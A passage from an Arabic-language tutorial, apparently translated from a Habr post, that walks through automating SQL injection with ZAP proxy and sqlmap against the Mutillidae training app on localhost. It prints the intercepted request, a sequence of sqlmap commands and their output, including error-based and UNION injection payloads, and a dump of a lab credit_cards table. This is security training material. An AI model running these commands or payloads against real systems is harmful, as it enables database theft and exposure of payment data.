A1: 2017 - الحقن (الجزء 3 والأخير)

في لعبة الكمبيوتر المفضلة Quest for Glory 2: Trial by Fire ، عندما يكون العالم في خطر مرة أخرى ، تنتهي الشخصية الرئيسية في جامعة ويزاردز. بعد اجتياز امتحانات القبول بنجاح ، يعرض المعجبون الملتحيون الذهاب إلى هذه الجامعة ، لأنه بعد الانتهاء منها ، سوف نفهم جميع تعقيدات السحر ، ودراسة جميع التعويذات ، وبعد ذلك سننقذ بالتأكيد أصدقائنا ونهزم شر العالم. المشكلة الوحيدة هي أنه سيتعين عليهم الدراسة لمدة 15-20 سنة ، وخلال هذا الوقت سيكون لدى قوى الشر الوقت للهزيمة أكثر من مرة.

في كل مرة أتذكر هذه الحلقة بشكل لا إرادي ، عندما أواجه كتابًا آخر مثيرًا للاهتمام أو كومة من الوثائق الفنية. تمت كتابة الكثير من الكتب حول إدارة الوقت ، ولكن بالنسبة لي ، فإن ذلك يرجع إلى صيغة بسيطة: اكتشفت الأساسيات ، واستنتجت أمثلة - ثم الأتمتة فقط!

الآن بعد أن لدينا فكرة عن كيفية عمل الحقن ، لماذا لا تحاول تبسيط حياتنا ونذكر مرة أخرى بعض الأمثلة السابقة ، ولكن بمساعدة برامج إضافية. نحتاج إلى أداتين:
Sqlmap - أداة تسمح لك بأتمتة البحث واستغلال الثغرات الأمنية في SQL و ZAP Proxy - خادم وكيل محلي مطلوب لتحليل حركة المرور بين المتصفح في خادم الويب.

مرة أخرى ، من الجدير بالذكر أن هذه ليست الأدوات الوحيدة من هذا القبيل ، وبالتأكيد في المدونة التالية ، ستثبت بشكل مقنع أنه بدلاً من sqlmap تحتاج إلى التعامل مع sqlninja ، ولا تحتاج إلى قضاء بعض الوقت في ZAP عندما يكون هناك Burp. لن أتجادل مع أي شخص.

سنبدأ في تسهيل الحياة عن طريق اعتراض حركة المرور بين العميل وخادم الويب. سيتم استخدام البيانات الناتجة كمعلمات لـ sqlmap. بشكل عام ، يمكن أن يعمل عنوان URL الخاص بالتطبيق غير الحصين أيضًا كمعلمة من هذا القبيل ، ولكن الآن ستكون البيانات من الوكيل أكثر وضوحًا بالنسبة لنا.

سنعمل مع نفس المثال من A1 الذي قمنا بتحليله في المقالة السابقة ("SQLi - استخراج البيانات"> "معلومات المستخدم (SQL)").


سنذهب إلى هذه الصفحة من خلال وكيل ZAP وإدخال بعض البيانات. أفهم أن الإغراء بالفعل هو تجربة شيء مما تعلمناه ، ولكن الآن تحتاج فقط إلى إدخال أي بيانات من الواضح أنها خاطئة. أدخل إداري / كلمة المرور المفضلة لدي وحصلت على الطلب التالي في اعتراض:

GET http://127.0.0.1/mutillidae/index.php?page=user- info.php&username=admin&password=password&user-info-php-submit- button=View+Account+Details HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://127.0.0.1/mutillidae/index.php?page=user-info.php Cookie: showhints=1; PHPSESSID=aqvrdm615sm8k7isopefgbhega Connection: keep-alive Upgrade-Insecure-Requests: 1 Host: 127.0.0.1 

نحن هنا مهتمون في المقام الأول في السطر الأول ، أي الطلب. في بعض الأحيان يكون من المفيد التحقق مما إذا تم اعتراضنا. يمكن القيام بذلك عن طريق تكرار هذا الطلب الذي تم إنشاؤه في نفس المتصفح. إذا حصلنا على نفس الصفحة مع وجود خطأ ، فنحن على الطريق الصحيح.

سنحفظ طلبنا الذي تم اعتراضه كملف منفصل request_sqlmap.txt.

الآن ، دعنا نمرر هذا الملف للتحليل إلى sqlmap:

 sqlmap -r reqest_sqlmap.txt --banner 

نحتاج إلى المعلمة –banner لـ sqlmap لمحاولة تحديد نظام إدارة قواعد البيانات الذي نتعامل معه. في مثالنا ، هذا ليس مهمًا جدًا ، ولكن في الممارسة العملية ، يمكنك تسريع الاختبار دون أن تشتت انتباهك من خلال جوانب DBMSs الأخرى التي لا تنطبق على هدفك.

 [23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 181 HTTP(s) requests: --- Parameter: username (GET) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: page=user-info.php&username=admin' AND (SELECT 5399 FROM(SELECT COUNT(*),CONCAT(0x7171707871,(SELECT (ELT(5399=5399,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UUZA'='UUZA&password=password&user-info-php-submit-button=View Account Details Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: page=user-info.php&username=admin' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171707871,0x4d754c5372467a65665a4c7672636e4c4a554777547162474e666f784e6b69754a43544a41675a50,0x71706a6271),NULL,NULL,NULL-- GGvT&password=password&user-info-php-submit-button=View Account Details --- [23:20:10] [INFO] the back-end DBMS is MySQL [23:20:10] [INFO] fetching banner web server operating system: Windows web application technology: Apache 2.4.29, PHP 7.2.3 back-end DBMS: MySQL >= 5.0 banner: '10.1.31-MariaDB' [23:20:10] [INFO] fetched data logged to text files under '/home/belowzero273/.sqlmap/output/127.0.0.1' 

تم الانتهاء من الفحص بنجاح ، ورأينا مرة أخرى ما كنا ، بشكل عام ، نعرفه بالفعل:

 [23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable 

بالإضافة إلى ذلك ، حدد sqlmap أننا نتعامل مع الخلية ، أو بالأحرى ، شوكة لها. الآن دعونا نرى ما هي قواعد البيانات الموجودة على الخادم:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL --dbs 

سنشير فيما يلي إلى ملف اعتراضنا كمعلمة لـ sqlmap. بالإضافة إلى ذلك ، سنشير إلى المعلمات التي نعرفها بالفعل: نوع DBMS ، بالإضافة إلى مفتاح التبديل -dbs للحصول على بيانات حول قواعد البيانات الموجودة:

 [23:27:19] [WARNING] reflective value(s) found and filtering out available databases [6]: [*] information_schema [*] mutillidae [*] mysql [*] performance_schema [*] phpmyadmin [*] test 


عظيم. عادة ، يتم إعطاء بعض قواعد البيانات أسماء ذات مغزى ، أو يتم إنشاؤها تلقائيًا عند تثبيت التطبيقات. لم يتم بالطبع إلغاء مبدأ "الأمن بالغموض" ، ولكن هذا هو الاستثناء وليس القاعدة. الشيء الأكثر إثارة للاهتمام في حالتنا ، على ما يبدو ، هو mutillidae الأساسي ، دعنا نرى ما يتكون من:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae --tables 

هنا ، إلى الأشياء التي نعرفها ، سنضيف نظام إدارة قواعد البيانات (DBMS) والمفتاح –tables اللازمين للنظر في الجداول في قاعدة البيانات هذه:

 [23:29:42] [WARNING] reflective value(s) found and filtering out Database: mutillidae [13 tables] +----------------------------+ | accounts | | balloon_tips | | blogs_table | | captured_data | | credit_cards | | help_texts | | hitlog | | level_1_help_include_files | | page_help | | page_hints | | pen_test_tools | | user_poll_results | | youtubevideos | +----------------------------+ 

بالفعل ليست سيئة. يبدو جدول بطاقات الائتمان واعداً بشكل خاص. دعونا ننظر في الأمر:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credita_cards --columns 

واحصل على:

 [23:31:35] [WARNING] reflective value(s) found and filtering out Database: mutillidae Table: credit_cards [4 columns] +------------+---------+ | Column | Type | +------------+---------+ | ccid | int(11) | | ccnumber | text | | ccv | text | | expiration | date | +------------+---------+ 

رائع ، هناك جدول كامل حيث يجب تخزين بيانات بطاقة الائتمان! الآن بعد أن وصلنا ، دعونا نلقي نظرة على هذا الجدول:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credit_cards --dump 

عفوًا:

 [23:32:42] [WARNING] reflective value(s) found and filtering out Database: mutillidae Table: credit_cards [5 entries] +------+-----+----------------------------+-----------------+ | ccid | ccv | ccnumber | expiration | +------+-----+----------------------------+-----------------+ | 1 | 745 | 4444111122223333 | 2012-03-01 | | 2 | 722 | 7746536337776330 | 2015-04-01 | | 3 | 461 | 8242325748474749 | 2016-03-01 | | 4 | 230 | 7725653200487633 | 2017-06-01 | | 5 | 627 | 1234567812345678 | 2018-11-01 | +------+-----+----------------------------+-----------------+ 

ها هم ، بطاقاتنا الائتمانية. يجب أن يبدو سؤالان في ذهنك الآن: كيف تعمل ، ومن أين تأتي كل هذه البيانات؟

كيف يعمل؟ حسنًا ، بالمعنى الدقيق للكلمة ، الأمر نفسه كما لو كنت تفرز جميع الخيارات الممكنة ، تحاول بشكل عشوائي استغلال هذه الثغرة أو تلك الثغرة.

ولكن من أين أتت البيانات ، فإن السؤال هو للمدير الذي نشر مثل هذه المعلومات المهمة في مثل هذا المكان غير المناسب.

يحتوي Sqlmap على العشرات من المعلمات التي لا يمكننا تحليلها في مقالة واحدة. لكن مهمة مقالاتي هي تقديم الحل ، ثم الأمر متروك لك. جرب وقت فراغك أيضًا لحفر بقية القاعدة وتجربة المعلمات ، ربما لا تكون بطاقات الائتمان هي الأكثر إثارة للاهتمام. =)

اقرأ مدونة المؤلف على هذا الرابط .

Source: https://habr.com/ru/post/ar429706/


All Articles